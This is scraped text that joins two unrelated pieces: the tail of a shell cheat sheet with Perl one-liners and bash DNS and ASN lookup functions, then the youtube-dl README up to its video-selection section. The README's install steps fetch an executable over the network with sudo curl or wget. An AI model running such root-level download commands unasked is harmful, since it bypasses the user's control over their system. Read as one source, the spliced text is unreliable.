perl -i -pe's/SEARCH/REPLACE/' filename
```
###### Edit of `*.conf` files changing all foo to bar (and backup original)
```bash
perl -p -i.orig -e 's/\bfoo\b/bar/g' *.conf
```
###### Prints the first 20 lines from `*.conf` files
```bash
perl -pe 'exit if $. > 20' *.conf
```
###### Search lines 10 to 20
```bash
perl -ne 'print if 10 .. 20' filename
```
###### Delete first 10 lines (and backup original)
```bash
perl -i.orig -ne 'print unless 1 .. 10' filename
```
###### Delete all but lines between foo and bar (and backup original)
```bash
perl -i.orig -ne 'print unless /^foo$/ .. /^bar$/' filename
```
###### Reduce multiple blank lines to a single line
```bash
perl -p -i -00pe0 filename
```
###### Convert tabs to spaces (1t = 2sp)
```bash
perl -p -i -e 's/\t/ /g' filename
```
###### Read input from a file and report number of lines and characters
```bash
perl -lne '$i++; $in += length($_); END { print "$i lines, $in characters"; }' filename
```
#### Shell functions [<sup>[TOC]</sup>](#anger-table-of-contents)
##### Table of Contents
- [Domain resolve](#domain-resolve)
- [Get ASN](#get-asn)
###### Domain resolve
```bash
# Dependencies:
# - curl
# - jq
function DomainResolve() {
local _host="$1"
local _curl_base="curl --request GET"
local _timeout="15"
_host_ip=$($_curl_base -ks -m "$_timeout" "https://dns.google.com/resolve?name=${_host}&type=A" | \
jq '.Answer[0].data' | tr -d "\"" 2>/dev/null)
if [[ -z "$_host_ip" ]] || [[ "$_host_ip" == "null" ]] ; then
echo -en "Unsuccessful domain name resolution.\\n"
else
echo -en "$_host > $_host_ip\\n"
fi
}
```
Example:
```bash
shell> DomainResolve nmap.org
nmap.org > 45.33.49.119
shell> DomainResolve nmap.org
Unsuccessful domain name resolution.
```
###### Get ASN
```bash
# Dependencies:
# - curl
function GetASN() {
local _ip="$1"
local _curl_base="curl --request GET"
local _timeout="15"
_asn=$($_curl_base -ks -m "$_timeout" "http://ip-api.com/line/${_ip}?fields=as")
_state=$(echo $?)
if [[ -z "$_ip" ]] || [[ "$_ip" == "null" ]] || [[ "$_state" -ne 0 ]]; then
echo -en "Unsuccessful ASN gathering.\\n"
else
echo -en "$_ip > $_asn\\n"
fi
}
```
Example:
```bash
shell> GetASN 1.1.1.1
1.1.1.1 > AS13335 Cloudflare, Inc.
shell> GetASN 0.0.0.0
Unsuccessful ASN gathering.
```
|
[](https://travis-ci.org/ytdl-org/youtube-dl)
youtube-dl - download videos from youtube.com or other video platforms
- [INSTALLATION](#installation)
- [DESCRIPTION](#description)
- [OPTIONS](#options)
- [CONFIGURATION](#configuration)
- [OUTPUT TEMPLATE](#output-template)
- [FORMAT SELECTION](#format-selection)
- [VIDEO SELECTION](#video-selection)
- [FAQ](#faq)
- [DEVELOPER INSTRUCTIONS](#developer-instructions)
- [EMBEDDING YOUTUBE-DL](#embedding-youtube-dl)
- [BUGS](#bugs)
- [COPYRIGHT](#copyright)
# INSTALLATION
To install it right away for all UNIX users (Linux, macOS, etc.), type:
sudo curl -L https://yt-dl.org/downloads/latest/youtube-dl -o /usr/local/bin/youtube-dl
sudo chmod a+rx /usr/local/bin/youtube-dl
If you do not have curl, you can alternatively use a recent wget:
sudo wget https://yt-dl.org/downloads/latest/youtube-dl -O /usr/local/bin/youtube-dl
sudo chmod a+rx /usr/local/bin/youtube-dl
Windows users can [download an .exe file](https://yt-dl.org/latest/youtube-dl.exe) and place it in any location on their [PATH](https://en.wikipedia.org/wiki/PATH_%28variable%29) except for `%SYSTEMROOT%\System32` (e.g. **do not** put in `C:\Windows\System32`).
You can also use pip:
sudo -H pip install --upgrade youtube-dl
This command will update youtube-dl if you have already installed it. See the [pypi page](https://pypi.python.org/pypi/youtube_dl) for more information.
macOS users can install youtube-dl with [Homebrew](https://brew.sh/):
brew install youtube-dl
Or with [MacPorts](https://www.macports.org/):
sudo port install youtube-dl
Alternatively, refer to the [developer instructions](#developer-instructions) for how to check out and work with the git repository. For further options, including PGP signatures, see the [youtube-dl Download Page](https://ytdl-org.github.io/youtube-dl/download.html).
# DESCRIPTION
**youtube-dl** is a command-line program to download videos from YouTube.com and a few more sites. It requires the Python interpreter, version 2.6, 2.7, or 3.2+, and it is not platform specific. It should work on your Unix box, on Windows or on macOS. It is released to the public domain, which means you can modify it, redistribute it or use it however you like.
youtube-dl [OPTIONS] URL [URL...]
# OPTIONS
-h, --help Print this help text and exit
--version Print program version and exit
-U, --update Update this program to latest version. Make
sure that you have sufficient permissions
(run with sudo if needed)
-i, --ignore-errors Continue on download errors, for example to
skip unavailable videos in a playlist
--abort-on-error Abort downloading of further videos (in the
playlist or the command line) if an error
occurs
--dump-user-agent Display the current browser identification
--list-extractors List all supported extractors
--extractor-descriptions Output descriptions of all supported
extractors
--force-generic-extractor Force extraction to use the generic
extractor
--default-search PREFIX Use this prefix for unqualified URLs. For
example "gvsearch2:" downloads two videos
from google videos for youtube-dl "large
apple". Use the value "auto" to let
youtube-dl guess ("auto_warning" to emit a
warning when guessing). "error" just throws
an error. The default value "fixup_error"
repairs broken URLs, but emits an error if
this is not possible instead of searching.
--ignore-config Do not read configuration files. When given
in the global configuration file
/etc/youtube-dl.conf: Do not read the user
configuration in ~/.config/youtube-
dl/config (%APPDATA%/youtube-dl/config.txt
on Windows)
--config-location PATH Location of the configuration file; either
the path to the config or its containing
directory.
--flat-playlist Do not extract the videos of a playlist,
only list them.
--mark-watched Mark videos watched (YouTube only)
--no-mark-watched Do not mark videos watched (YouTube only)
--no-color Do not emit color codes in output
## Network Options:
--proxy URL Use the specified HTTP/HTTPS/SOCKS proxy.
To enable SOCKS proxy, specify a proper
scheme. For example
socks5://127.0.0.1:1080/. Pass in an empty
string (--proxy "") for direct connection
--socket-timeout SECONDS Time to wait before giving up, in seconds
--source-address IP Client-side IP address to bind to
-4, --force-ipv4 Make all connections via IPv4
-6, --force-ipv6 Make all connections via IPv6
## Geo Restriction:
--geo-verification-proxy URL Use this proxy to verify the IP address for
some geo-restricted sites. The default
proxy specified by --proxy (or none, if the
option is not present) is used for the
actual downloading.
--geo-bypass Bypass geographic restriction via faking
X-Forwarded-For HTTP header
--no-geo-bypass Do not bypass geographic restriction via
faking X-Forwarded-For HTTP header
--geo-bypass-country CODE Force bypass geographic restriction with
explicitly provided two-letter ISO 3166-2
country code
--geo-bypass-ip-block IP_BLOCK Force bypass geographic restriction with
explicitly provided IP block in CIDR
notation
## Video Selection:
--playlist-start NUMBER Playlist video to start at (default is 1)
--playlist-end NUMBER Playlist video to end at (default is last)
--playlist-items ITEM_SPEC Playlist video items to download. Specify
indices of the videos in the playlist
separated by commas like: "--playlist-items
1,2,5,8" if you want to download videos
indexed 1, 2, 5, 8 in the playlist. You can
specify range: "--playlist-items
1-3,7,10-13", it will download the videos
at index 1, 2, 3, 7, 10, 11, 12 and 13.
--match-title REGEX Download only matching titles (regex or
caseless sub-string)
--reject-title REGEX Skip download for matching titles (regex or
caseless sub-string)
--max-downloads NUMBER Abort after downloading NUMBER files
--min-filesize SIZE Do not download any videos smaller than
SIZE (e.g. 50k or 44.6m)
--max-filesize SIZE Do not download any videos larger than SIZE
(e.g. 50k or 44.6m)
--date DATE Download only videos uploaded in this date
--datebefore DATE Download only videos uploaded on or before
this date (i.e. inclusive)
--dateafter DATE Download only videos uploaded on or after
this date (i.e. inclusive)
--min-views COUNT Do not download any videos with less than
COUNT views
--max-views COUNT Do not download any videos with more than
COUNT views
--match-filter FILTER Generic video filter. Specify any key (see
the "OUTPUT TEMPLATE" for a list of
available keys) to match if the key is
present, !key to check if the key is not
present, key > NUMBER (like "comment_count
> 12", also works with >=, <, <=, !=, =) to
compare against a number, key = 'LITERAL'
(like "uploader = 'Mike Smith'", also works
with !=) to match against a string literal
and & to require multiple matches. Values
which are not known are excluded unless you
put a question mark (?) after the operator.
For example, to only match videos that have
been liked more than 100 times and disliked
less than 50 times (or the dislike
functionality is not available at the given
service), but who also have a description,
use --match-filter "like_count > 100 &
dislike_count <? 50 & description" .
--no-playlist Download only the video, if the URL refers
to a video and a playlist.
--yes-playlist Download the playlist, if the URL refers to
a video and a playlist.
--age-limit YEARS Download only videos suitable for the given
age
--download-archive FILE Download only videos not listed in the
archive file. Record the IDs of all
downloaded videos in it.
--include-ads Download advertisements as well
(experimental)
## Download Options:
-r, --limit-rate RATE Maximum download rate in bytes per second
(e.g. 50K or 4.2M)
-R, --retries RETRIES Number of retries (default is 10), or
"infinite".
--fragment-retries RETRIES Number of retries for a fragment (default
is 10), or "infinite" (DASH, hlsnative and
ISM)
--skip-unavailable-fragments Skip unavailable fragments (DASH, hlsnative
and ISM)
--abort-on-unavailable-fragment Abort downloading when some fragment is not
available
--keep-fragments Keep downloaded fragments on disk after
downloading is finished; fragments are
erased by default
--buffer-size SIZE Size of download buffer (e.g. 1024 or 16K)
(default is 1024)
--no-resize-buffer Do not automatically adjust the buffer
size. By default, the buffer size is
automatically resized from an initial value
of SIZE.
--http-chunk-size SIZE Size of a chunk for chunk-based HTTP
downloading (e.g. 10485760 or 10M) (default
is disabled). May be useful for bypassing
bandwidth throttling imposed by a webserver
(experimental)
--playlist-reverse Download playlist videos in reverse order
--playlist-random Download playlist videos in random order
--xattr-set-filesize Set file xattribute ytdl.filesize with
expected file size
--hls-prefer-native Use the native HLS downloader instead of
ffmpeg
--hls-prefer-ffmpeg Use ffmpeg instead of the native HLS
downloader
--hls-use-mpegts Use the mpegts container for HLS videos,
allowing to play the video while
downloading (some players may not be able
to play it)
--external-downloader COMMAND Use the specified external downloader.
Currently supports
aria2c,avconv,axel,curl,ffmpeg,httpie,wget
--external-downloader-args ARGS Give these arguments to the external
downloader
## Filesystem Options:
-a, --batch-file FILE File containing URLs to download ('-' for
stdin), one URL per line. Lines starting
with '#', ';' or ']' are considered as
comments and ignored.
--id Use only video ID in file name
-o, --output TEMPLATE Output filename template, see the "OUTPUT
TEMPLATE" for all the info
--autonumber-start NUMBER Specify the start value for %(autonumber)s
(default is 1)
--restrict-filenames Restrict filenames to only ASCII
characters, and avoid "&" and spaces in
filenames
-w, --no-overwrites Do not overwrite files
-c, --continue Force resume of partially downloaded files.
By default, youtube-dl will resume
downloads if possible.
--no-continue Do not resume partially downloaded files
(restart from beginning)
--no-part Do not use .part files - write directly
into output file
--no-mtime Do not use the Last-modified header to set
the file modification time
--write-description Write video description to a .description
file
--write-info-json Write video metadata to a .info.json file
--write-annotations Write video annotations to a
.annotations.xml file
--load-info-json FILE JSON file containing the video information
(created with the "--write-info-json"
option)
--cookies FILE File to read cookies from and dump cookie
jar in
--cache-dir DIR Location in the filesystem where youtube-dl
can store some downloaded information
permanently. By default
$XDG_CACHE_HOME/youtube-dl or
~/.cache/youtube-dl . At the moment, only
YouTube player files (for videos with
obfuscated signatures) are cached, but that
may change.
--no-cache-dir Disable filesystem caching
--rm-cache-dir Delete all filesystem cache files
## Thumbnail images:
--write-thumbnail Write thumbnail image to disk
--write-all-thumbnails Write all thumbnail image formats to disk
--list-thumbnails Simulate and list all available thumbnail
formats
## Verbosity / Simulation Options:
-q, --quiet Activate quiet mode
--no-warnings Ignore warnings
-s, --simulate Do not download the video and do not write
anything to disk
--skip-download Do not download the video
-g, --get-url Simulate, quiet but print URL
-e, --get-title Simulate, quiet but print title
--get-id Simulate, quiet but print id
--get-thumbnail Simulate, quiet but print thumbnail URL
--get-description Simulate, quiet but print video description
--get-duration Simulate, quiet but print video length
--get-filename Simulate, quiet but print output filename
--get-format Simulate, quiet but print output format
-j, --dump-json Simulate, quiet but print JSON information.
See the "OUTPUT TEMPLATE" for a description
of available keys.
-J, --dump-single-json Simulate, quiet but print JSON information
for each command-line argument. If the URL
refers to a playlist, dump the whole
playlist information in a single line.
--print-json Be quiet and print the video information as
JSON (video is still being downloaded).
--newline Output progress bar as new lines
--no-progress Do not print progress bar
--console-title Display progress in console titlebar
-v, --verbose Print various debugging information
--dump-pages Print downloaded pages encoded using base64
to debug problems (very verbose)
--write-pages Write downloaded intermediary pages to
files in the current directory to debug
problems
--print-traffic Display sent and read HTTP traffic
-C, --call-home Contact the youtube-dl server for debugging
--no-call-home Do NOT contact the youtube-dl server for
debugging
## Workarounds:
--encoding ENCODING Force the specified encoding (experimental)
--no-check-certificate Suppress HTTPS certificate validation
--prefer-insecure Use an unencrypted connection to retrieve
information about the video. (Currently
supported only for YouTube)
--user-agent UA Specify a custom user agent
--referer URL Specify a custom referer, use if the video
access is restricted to one domain
--add-header FIELD:VALUE Specify a custom HTTP header and its value,
separated by a colon ':'. You can use this
option multiple times
--bidi-workaround Work around terminals that lack
bidirectional text support. Requires bidiv
or fribidi executable in PATH
--sleep-interval SECONDS Number of seconds to sleep before each
download when used alone or a lower bound
of a range for randomized sleep before each
download (minimum possible number of
seconds to sleep) when used along with
--max-sleep-interval.
--max-sleep-interval SECONDS Upper bound of a range for randomized sleep
before each download (maximum possible
number of seconds to sleep). Must only be
used along with --min-sleep-interval.
## Video Format Options:
-f, --format FORMAT Video format code, see the "FORMAT
SELECTION" for all the info
--all-formats Download all available video formats
--prefer-free-formats Prefer free video formats unless a specific
one is requested
-F, --list-formats List all available formats of requested
videos
--youtube-skip-dash-manifest Do not download the DASH manifests and
related data on YouTube videos
--merge-output-format FORMAT If a merge is required (e.g.
bestvideo+bestaudio), output to given
container format. One of mkv, mp4, ogg,
webm, flv. Ignored if no merge is required
## Subtitle Options:
--write-sub Write subtitle file
--write-auto-sub Write automatically generated subtitle file
(YouTube only)
--all-subs Download all the available subtitles of the
video
--list-subs List all available subtitles for the video
--sub-format FORMAT Subtitle format, accepts formats
preference, for example: "srt" or
"ass/srt/best"
--sub-lang LANGS Languages of the subtitles to download
(optional) separated by commas, use --list-
subs for available language tags
## Authentication Options:
-u, --username USERNAME Login with this account ID
-p, --password PASSWORD Account password. If this option is left
out, youtube-dl will ask interactively.
-2, --twofactor TWOFACTOR Two-factor authentication code
-n, --netrc Use .netrc authentication data
--video-password PASSWORD Video password (vimeo, smotri, youku)
## Adobe Pass Options:
--ap-mso MSO Adobe Pass multiple-system operator (TV
provider) identifier, use --ap-list-mso for
a list of available MSOs
--ap-username USERNAME Multiple-system operator account login
--ap-password PASSWORD Multiple-system operator account password.
If this option is left out, youtube-dl will
ask interactively.
--ap-list-mso List all supported multiple-system
operators
## Post-processing Options:
-x, --extract-audio Convert video files to audio-only files
(requires ffmpeg or avconv and ffprobe or
avprobe)
--audio-format FORMAT Specify audio format: "best", "aac",
"flac", "mp3", "m4a", "opus", "vorbis", or
"wav"; "best" by default; No effect without
-x
--audio-quality QUALITY Specify ffmpeg/avconv audio quality, insert
a value between 0 (better) and 9 (worse)
for VBR or a specific bitrate like 128K
(default 5)
--recode-video FORMAT Encode the video to another format if
necessary (currently supported:
mp4|flv|ogg|webm|mkv|avi)
--postprocessor-args ARGS Give these arguments to the postprocessor
-k, --keep-video Keep the video file on disk after the post-
processing; the video is erased by default
--no-post-overwrites Do not overwrite post-processed files; the
post-processed files are overwritten by
default
--embed-subs Embed subtitles in the video (only for mp4,
webm and mkv videos)
--embed-thumbnail Embed thumbnail in the audio as cover art
--add-metadata Write metadata to the video file
--metadata-from-title FORMAT Parse additional metadata like song title /
artist from the video title. The format
syntax is the same as --output. Regular
expression with named capture groups may
also be used. The parsed parameters replace
existing values. Example: --metadata-from-
title "%(artist)s - %(title)s" matches a
title like "Coldplay - Paradise". Example
(regex): --metadata-from-title
"(?P<artist>.+?) - (?P<title>.+)"
--xattrs Write metadata to the video file's xattrs
(using dublin core and xdg standards)
--fixup POLICY Automatically correct known faults of the
file. One of never (do nothing), warn (only
emit a warning), detect_or_warn (the
default; fix file if we can, warn
otherwise)
--prefer-avconv Prefer avconv over ffmpeg for running the
postprocessors
--prefer-ffmpeg Prefer ffmpeg over avconv for running the
postprocessors (default)
--ffmpeg-location PATH Location of the ffmpeg/avconv binary;
either the path to the binary or its
containing directory.
--exec CMD Execute a command on the file after
downloading, similar to find's -exec
syntax. Example: --exec 'adb push {}
/sdcard/Music/ && rm {}'
--convert-subs FORMAT Convert the subtitles to other format
(currently supported: srt|ass|vtt|lrc)
# CONFIGURATION
You can configure youtube-dl by placing any supported command line option to a configuration file. On Linux and macOS, the system wide configuration file is located at `/etc/youtube-dl.conf` and the user wide configuration file at `~/.config/youtube-dl/config`. On Windows, the user wide configuration file locations are `%APPDATA%\youtube-dl\config.txt` or `C:\Users\<user name>\youtube-dl.conf`. Note that by default configuration file may not exist so you may need to create it yourself.
For example, with the following configuration file youtube-dl will always extract the audio, not copy the mtime, use a proxy and save all videos under `Movies` directory in your home directory:
```
# Lines starting with # are comments
# Always extract audio
-x
# Do not copy the mtime
--no-mtime
# Use this proxy
--proxy 127.0.0.1:3128
# Save all videos under Movies directory in your home directory
-o ~/Movies/%(title)s.%(ext)s
```
Note that options in configuration file are just the same options aka switches used in regular command line calls thus there **must be no whitespace** after `-` or `--`, e.g. `-o` or `--proxy` but not `- o` or `-- proxy`.
You can use `--ignore-config` if you want to disable the configuration file for a particular youtube-dl run.
You can also use `--config-location` if you want to use custom configuration file for a particular youtube-dl run.
### Authentication with `.netrc` file
You may also want to configure automatic credentials storage for extractors that support authentication (by providing login and password with `--username` and `--password`) in order not to pass credentials as command line arguments on every youtube-dl execution and prevent tracking plain text passwords in the shell command history. You can achieve this using a [`.netrc` file](https://stackoverflow.com/tags/.netrc/info) on a per extractor basis. For that you will need to create a `.netrc` file in your `$HOME` and restrict permissions to read/write by only you:
```
touch $HOME/.netrc
chmod a-rwx,u+rw $HOME/.netrc
```
After that you can add credentials for an extractor in the following format, where *extractor* is the name of the extractor in lowercase:
```
machine <extractor> login <login> password <password>
```
For example:
```
machine youtube login [email protected] password my_youtube_password
machine twitch login my_twitch_account_name password my_twitch_password
```
To activate authentication with the `.netrc` file you should pass `--netrc` to youtube-dl or place it in the [configuration file](#configuration).
On Windows you may also need to setup the `%HOME%` environment variable manually. For example:
```
set HOME=%USERPROFILE%
```
# OUTPUT TEMPLATE
The `-o` option allows users to indicate a template for the output file names.
**tl;dr:** [navigate me to examples](#output-template-examples).
The basic usage is not to set any template arguments when downloading a single file, like in `youtube-dl -o funny_video.flv "https://some/video"`. However, it may contain special sequences that will be replaced when downloading each video. The special sequences may be formatted according to [python string formatting operations](https://docs.python.org/2/library/stdtypes.html#string-formatting). For example, `%(NAME)s` or `%(NAME)05d`. To clarify, that is a percent symbol followed by a name in parentheses, followed by formatting operations. Allowed names along with sequence type are:
- `id` (string): Video identifier
- `title` (string): Video title
- `url` (string): Video URL
- `ext` (string): Video filename extension
- `alt_title` (string): A secondary title of the video
- `display_id` (string): An alternative identifier for the video
- `uploader` (string): Full name of the video uploader
- `license` (string): License name the video is licensed under
- `creator` (string): The creator of the video
- `release_date` (string): The date (YYYYMMDD) when the video was released
- `timestamp` (numeric): UNIX timestamp of the moment the video became available
- `upload_date` (string): Video upload date (YYYYMMDD)
- `uploader_id` (string): Nickname or id of the video uploader
- `channel` (string): Full name of the channel the video is uploaded on
- `channel_id` (string): Id of the channel
- `location` (string): Physical location where the video was filmed
- `duration` (numeric): Length of the video in seconds
- `view_count` (numeric): How many users have watched the video on the platform
- `like_count` (numeric): Number of positive ratings of the video
- `dislike_count` (numeric): Number of negative ratings of the video
- `repost_count` (numeric): Number of reposts of the video
- `average_rating` (numeric): Average rating give by users, the scale used depends on the webpage
- `comment_count` (numeric): Number of comments on the video
- `age_limit` (numeric): Age restriction for the video (years)
- `is_live` (boolean): Whether this video is a live stream or a fixed-length video
- `start_time` (numeric): Time in seconds where the reproduction should start, as specified in the URL
- `end_time` (numeric): Time in seconds where the reproduction should end, as specified in the URL
- `format` (string): A human-readable description of the format
- `format_id` (string): Format code specified by `--format`
- `format_note` (string): Additional info about the format
- `width` (numeric): Width of the video
- `height` (numeric): Height of the video
- `resolution` (string): Textual description of width and height
- `tbr` (numeric): Average bitrate of audio and video in KBit/s
- `abr` (numeric): Average audio bitrate in KBit/s
- `acodec` (string): Name of the audio codec in use
- `asr` (numeric): Audio sampling rate in Hertz
- `vbr` (numeric): Average video bitrate in KBit/s
- `fps` (numeric): Frame rate
- `vcodec` (string): Name of the video codec in use
- `container` (string): Name of the container format
- `filesize` (numeric): The number of bytes, if known in advance
- `filesize_approx` (numeric): An estimate for the number of bytes
- `protocol` (string): The protocol that will be used for the actual download
- `extractor` (string): Name of the extractor
- `extractor_key` (string): Key name of the extractor
- `epoch` (numeric): Unix epoch when creating the file
- `autonumber` (numeric): Five-digit number that will be increased with each download, starting at zero
- `playlist` (string): Name or id of the playlist that contains the video
- `playlist_index` (numeric): Index of the video in the playlist padded with leading zeros according to the total length of the playlist
- `playlist_id` (string): Playlist identifier
- `playlist_title` (string): Playlist title
- `playlist_uploader` (string): Full name of the playlist uploader
- `playlist_uploader_id` (string): Nickname or id of the playlist uploader
Available for the video that belongs to some logical chapter or section:
- `chapter` (string): Name or title of the chapter the video belongs to
- `chapter_number` (numeric): Number of the chapter the video belongs to
- `chapter_id` (string): Id of the chapter the video belongs to
Available for the video that is an episode of some series or programme:
- `series` (string): Title of the series or programme the video episode belongs to
- `season` (string): Title of the season the video episode belongs to
- `season_number` (numeric): Number of the season the video episode belongs to
- `season_id` (string): Id of the season the video episode belongs to
- `episode` (string): Title of the video episode
- `episode_number` (numeric): Number of the video episode within a season
- `episode_id` (string): Id of the video episode
Available for the media that is a track or a part of a music album:
- `track` (string): Title of the track
- `track_number` (numeric): Number of the track within an album or a disc
- `track_id` (string): Id of the track
- `artist` (string): Artist(s) of the track
- `genre` (string): Genre(s) of the track
- `album` (string): Title of the album the track belongs to
- `album_type` (string): Type of the album
- `album_artist` (string): List of all artists appeared on the album
- `disc_number` (numeric): Number of the disc or other physical medium the track belongs to
- `release_year` (numeric): Year (YYYY) when the album was released
Each aforementioned sequence when referenced in an output template will be replaced by the actual value corresponding to the sequence name. Note that some of the sequences are not guaranteed to be present since they depend on the metadata obtained by a particular extractor. Such sequences will be replaced with `NA`.
For example for `-o %(title)s-%(id)s.%(ext)s` and an mp4 video with title `youtube-dl test video` and id `BaW_jenozKcj`, this will result in a `youtube-dl test video-BaW_jenozKcj.mp4` file created in the current directory.
For numeric sequences you can use numeric related formatting, for example, `%(view_count)05d` will result in a string with view count padded with zeros up to 5 characters, like in `00042`.
Output templates can also contain arbitrary hierarchical path, e.g. `-o '%(playlist)s/%(playlist_index)s - %(title)s.%(ext)s'` which will result in downloading each video in a directory corresponding to this path template. Any missing directory will be automatically created for you.
To use percent literals in an output template use `%%`. To output to stdout use `-o -`.
The current default template is `%(title)s-%(id)s.%(ext)s`.
In some cases, you don't want special characters such as 中, spaces, or &, such as when transferring the downloaded filename to a Windows system or the filename through an 8bit-unsafe channel. In these cases, add the `--restrict-filenames` flag to get a shorter title:
#### Output template and Windows batch files
If you are using an output template inside a Windows batch file then you must escape plain percent characters (`%`) by doubling, so that `-o "%(title)s-%(id)s.%(ext)s"` should become `-o "%%(title)s-%%(id)s.%%(ext)s"`. However you should not touch `%`'s that are not plain characters, e.g. environment variables for expansion should stay intact: `-o "C:\%HOMEPATH%\Desktop\%%(title)s.%%(ext)s"`.
#### Output template examples
Note that on Windows you may need to use double quotes instead of single.
```bash
$ youtube-dl --get-filename -o '%(title)s.%(ext)s' BaW_jenozKc
youtube-dl test video ''_ä↭𝕐.mp4 # All kinds of weird characters
$ youtube-dl --get-filename -o '%(title)s.%(ext)s' BaW_jenozKc --restrict-filenames
youtube-dl_test_video_.mp4 # A simple file name
# Download YouTube playlist videos in separate directory indexed by video order in a playlist
$ youtube-dl -o '%(playlist)s/%(playlist_index)s - %(title)s.%(ext)s' https://www.youtube.com/playlist?list=PLwiyx1dc3P2JR9N8gQaQN_BCvlSlap7re
# Download all playlists of YouTube channel/user keeping each playlist in separate directory:
$ youtube-dl -o '%(uploader)s/%(playlist)s/%(playlist_index)s - %(title)s.%(ext)s' https://www.youtube.com/user/TheLinuxFoundation/playlists
# Download Udemy course keeping each chapter in separate directory under MyVideos directory in your home
$ youtube-dl -u user -p password -o '~/MyVideos/%(playlist)s/%(chapter_number)s - %(chapter)s/%(title)s.%(ext)s' https://www.udemy.com/java-tutorial/
# Download entire series season keeping each series and each season in separate directory under C:/MyVideos
$ youtube-dl -o "C:/MyVideos/%(series)s/%(season_number)s - %(season)s/%(episode_number)s - %(episode)s.%(ext)s" https://videomore.ru/kino_v_detalayah/5_sezon/367617
# Stream the video being downloaded to stdout
$ youtube-dl -o - BaW_jenozKc
```
# FORMAT SELECTION
By default youtube-dl tries to download the best available quality, i.e. if you want the best quality you **don't need** to pass any special options, youtube-dl will guess it for you by **default**.
But sometimes you may want to download in a different format, for example when you are on a slow or intermittent connection. The key mechanism for achieving this is so-called *format selection* based on which you can explicitly specify desired format, select formats based on some criterion or criteria, setup precedence and much more.
The general syntax for format selection is `--format FORMAT` or shorter `-f FORMAT` where `FORMAT` is a *selector expression*, i.e. an expression that describes format or formats you would like to download.
**tl;dr:** [navigate me to examples](#format-selection-examples).
The simplest case is requesting a specific format, for example with `-f 22` you can download the format with format code equal to 22. You can get the list of available format codes for particular video using `--list-formats` or `-F`. Note that these format codes are extractor specific.
You can also use a file extension (currently `3gp`, `aac`, `flv`, `m4a`, `mp3`, `mp4`, `ogg`, `wav`, `webm` are supported) to download the best quality format of a particular file extension served as a single file, e.g. `-f webm` will download the best quality format with the `webm` extension served as a single file.
You can also use special names to select particular edge case formats:
- `best`: Select the best quality format represented by a single file with video and audio.
- `worst`: Select the worst quality format represented by a single file with video and audio.
- `bestvideo`: Select the best quality video-only format (e.g. DASH video). May not be available.
- `worstvideo`: Select the worst quality video-only format. May not be available.
- `bestaudio`: Select the best quality audio only-format. May not be available.
- `worstaudio`: Select the worst quality audio only-format. May not be available.
For example, to download the worst quality video-only format you can use `-f worstvideo`.
If you want to download multiple videos and they don't have the same formats available, you can specify the order of preference using slashes. Note that slash is left-associative, i.e. formats on the left hand side are preferred, for example `-f 22/17/18` will download format 22 if it's available, otherwise it will download format 17 if it's available, otherwise it will download format 18 if it's available, otherwise it will complain that no suitable formats are available for download.
If you want to download several formats of the same video use a comma as a separator, e.g. `-f 22,17,18` will download all these three formats, of course if they are available. Or a more sophisticated example combined with the precedence feature: `-f 136/137/mp4/bestvideo,140/m4a/bestaudio`.
You can also filter the video formats by putting a condition in brackets, as in `-f "best[height=720]"` (or `-f "[filesize>10M]"`).
The following numeric meta fields can be used with comparisons `<`, `<=`, `>`, `>=`, `=` (equals), `!=` (not equals):
- `filesize`: The number of bytes, if known in advance
- `width`: Width of the video, if known
- `height`: Height of the video, if known
- `tbr`: Average bitrate of audio and video in KBit/s
- `abr`: Average audio bitrate in KBit/s
- `vbr`: Average video bitrate in KBit/s
- `asr`: Audio sampling rate in Hertz
- `fps`: Frame rate
Also filtering work for comparisons `=` (equals), `^=` (starts with), `$=` (ends with), `*=` (contains) and following string meta fields:
- `ext`: File extension
- `acodec`: Name of the audio codec in use
- `vcodec`: Name of the video codec in use
- `container`: Name of the container format
- `protocol`: The protocol that will be used for the actual download, lower-case (`http`, `https`, `rtsp`, `rtmp`, `rtmpe`, `mms`, `f4m`, `ism`, `http_dash_segments`, `m3u8`, or `m3u8_native`)
- `format_id`: A short description of the format
Any string comparison may be prefixed with negation `!` in order to produce an opposite comparison, e.g. `!*=` (does not contain).
Note that none of the aforementioned meta fields are guaranteed to be present since this solely depends on the metadata obtained by particular extractor, i.e. the metadata offered by the video hoster.
Formats for which the value is not known are excluded unless you put a question mark (`?`) after the operator. You can combine format filters, so `-f "[height <=? 720][tbr>500]"` selects up to 720p videos (or videos where the height is not known) with a bitrate of at least 500 KBit/s.
You can merge the video and audio of two formats into a single file using `-f <video-format>+<audio-format>` (requires ffmpeg or avconv installed), for example `-f bestvideo+bestaudio` will download the best video-only format, the best audio-only format and mux them together with ffmpeg/avconv.
Format selectors can also be grouped using parentheses, for example if you want to download the best mp4 and webm formats with a height lower than 480 you can use `-f '(mp4,webm)[height<480]'`.
Since the end of April 2015 and version 2015.04.26, youtube-dl uses `-f bestvideo+bestaudio/best` as the default format selection (see [#5447](https://github.com/ytdl-org/youtube-dl/issues/5447), [#5456](https://github.com/ytdl-org/youtube-dl/issues/5456)). If ffmpeg or avconv are installed this results in downloading `bestvideo` and `bestaudio` separately and muxing them together into a single file giving the best overall quality available. Otherwise it falls back to `best` and results in downloading the best available quality served as a single file. `best` is also needed for videos that don't come from YouTube because they don't provide the audio and video in two different files. If you want to only download some DASH formats (for example if you are not interested in getting videos with a resolution higher than 1080p), you can add `-f bestvideo[height<=?1080]+bestaudio/best` to your configuration file. Note that if you use youtube-dl to stream to `stdout` (and most likely to pipe it to your media player then), i.e. you explicitly specify output template as `-o -`, youtube-dl still uses `-f best` format selection in order to start content delivery immediately to your player and not to wait until `bestvideo` and `bestaudio` are downloaded and muxed.
If you want to preserve the old format selection behavior (prior to youtube-dl 2015.04.26), i.e. you want to download the best available quality media served as a single file, you should explicitly specify your choice with `-f best`. You may want to add it to the [configuration file](#configuration) in order not to type it every time you run youtube-dl.
#### Format selection examples
Note that on Windows you may need to use double quotes instead of single.
```bash
# Download best mp4 format available or any other best if no mp4 available
$ youtube-dl -f 'bestvideo[ext=mp4]+bestaudio[ext=m4a]/best[ext=mp4]/best'
# Download best format available but no better than 480p
$ youtube-dl -f 'bestvideo[height<=480]+bestaudio/best[height<=480]'
# Download best video only format but no bigger than 50 MB
$ youtube-dl -f 'best[filesize<50M]'
# Download best format available via direct link over HTTP/HTTPS protocol
$ youtube-dl -f '(bestvideo+bestaudio/best)[protocol^=http]'
# Download the best video format and the best audio format without merging them
$ youtube-dl -f 'bestvideo,bestaudio' -o '%(title)s.f%(format_id)s.%(ext)s'
```
Note that in the last example, an output template is recommended as bestvideo and bestaudio may have the same file name.
# VIDEO SELECTION
